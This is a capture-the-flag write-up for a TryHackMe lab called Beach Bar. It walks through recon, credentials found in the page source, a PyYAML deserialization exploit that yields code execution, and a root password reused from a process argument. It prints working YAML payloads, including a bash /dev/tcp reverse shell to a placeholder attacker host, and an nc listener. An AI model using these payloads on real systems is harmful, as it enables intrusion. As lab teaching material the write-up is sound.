Try Hack Me-Beach Bar

RECON

First Step I did was to run a nmap scan.

Here we can see that 2 ports are basically open;

Port 22

Port 80

Port 22 is ssh and it would be difficult to exploit it. Let's set it aside for the time being.

We have a port 80 which is an http port, I went to firefox and opened up the ip address.

INITIAL ACCESS

We see that its a sign in page for the DJ booth in Byte Lotus.

After trying some common usernames and passwords, I realized its useless.

Next I checked the source code for the webpage.

And there it is. We can see an username and a password, dj/dj as a html command.

I use it to sign in to the dashboard.

REMOTE CODE EXECUTION

From here, I did some digging in, and I went through the website….. and in the import section(image below), can see upload playlists as yaml. Checking the wappalyzer, in the initial nmap scan, we can see that the http server is gunicorn which is commonly used in python servers.

**Assuming a python server, this gives us a interesting exploit which will potentially give us a **RCE.

Its a YAML Deserialization in PyYaml.

What basically happens is, in the backend, there is a code which loads the yaml we upload, something like load() This is the Standard load in PyYaml, and what this does is, it will create actual python objects based on YAML tags. It is normally meant for custom application classes, but it isn't limited to developer-defined types. An attacker could use this to utilize inbuilt libraries in python like os.system to control your computer. The safe alternative, yaml.safe_load(), restricts construction to a small set of primitive types (strings, numbers, lists, dicts) specifically to prevent this. The vulnerability exists because the backend used load() instead of safe_load() on user-uploaded input.

To know about this more, please visit the following blog.

From YAML to RCE: The PyYAML Deserialization Story Hi, I'm Amr Kadry, a Red Team Consultant and bug hunter, acknowledged by over 50 companies including Mozilla…

To Check this I wrote a simple payload that returns the User ID back.

---
- !!python/object/new:os.system
  args: ['id']

---
- !!python/object/new:os.system
  args: ['id']

This gives us an output, [0]. which means that our assumption is right, and we can write a payload to get Remote Code Execution.

---
- !!python/object/new:os.system
  args: ['bash -c "bash -i >& /dev/tcp/<ATTACKER IP>/<PORT> 0>&1"']

---
- !!python/object/new:os.system
  args: ['bash -c "bash -i >& /dev/tcp/<ATTACKER IP>/<PORT> 0>&1"']

This will give us a reverse shell in the given port number, but before that we need to listen to that port number.

nc -nlvp <PORT>

nc -nlvp <PORT>

On executing the payload we get a remote access.

Now if you want you can use python pty to gain a proper shell, which will make things easier.

Navigating to /home/bartender, We can see the user.txt, which is the first flag.

PRIVILEGE ESCALATION

After this I had to do a bit of enumeration, and digging in;

sudo -l didn't work: It asked for the user password and I didn't have it. I then ran ls -la /etc/cron.*, to check for any unusual cron jobs, but there was nothing I could exploit. My next instinct was to check for SUID binaries with find / -perm -4000, and I didn't find anything beyond standard SUID binaries.

ps aux | grep root

ps aux | grep root

This gives us an interesting process, of running a jukebox, as a DJ should run I guess.

It has an argument — stream-pass which suspiciously looks like a password, so I keep it aside for now and tried to do some more recon for Privilege Escalation.

After a few attempts, I found nothing, and just as a final attempt I tried one of the most common vulnerabilites, Credential reuse, I changed user with su and entered the password I got earlier, and to my luck I got access as root.

After that, its simple, go to print out what is in /root/root.txt, and we get the next flag.

CONCLUSION

This machine was one of the first times I realized that we could use YAML, a markup language to execute python commands and ultimately get remote access. Additionally the fact that this same password worked as the root password is text book credential reuse. In linux, ps aux does not require any special privileges, this means that storing or passing passwords via process arguments is a poor practice.I spent a lot of time after the initial access, to get escalated privileges, trying different exploits. I realized that its not about exploits and more about the fundamentals.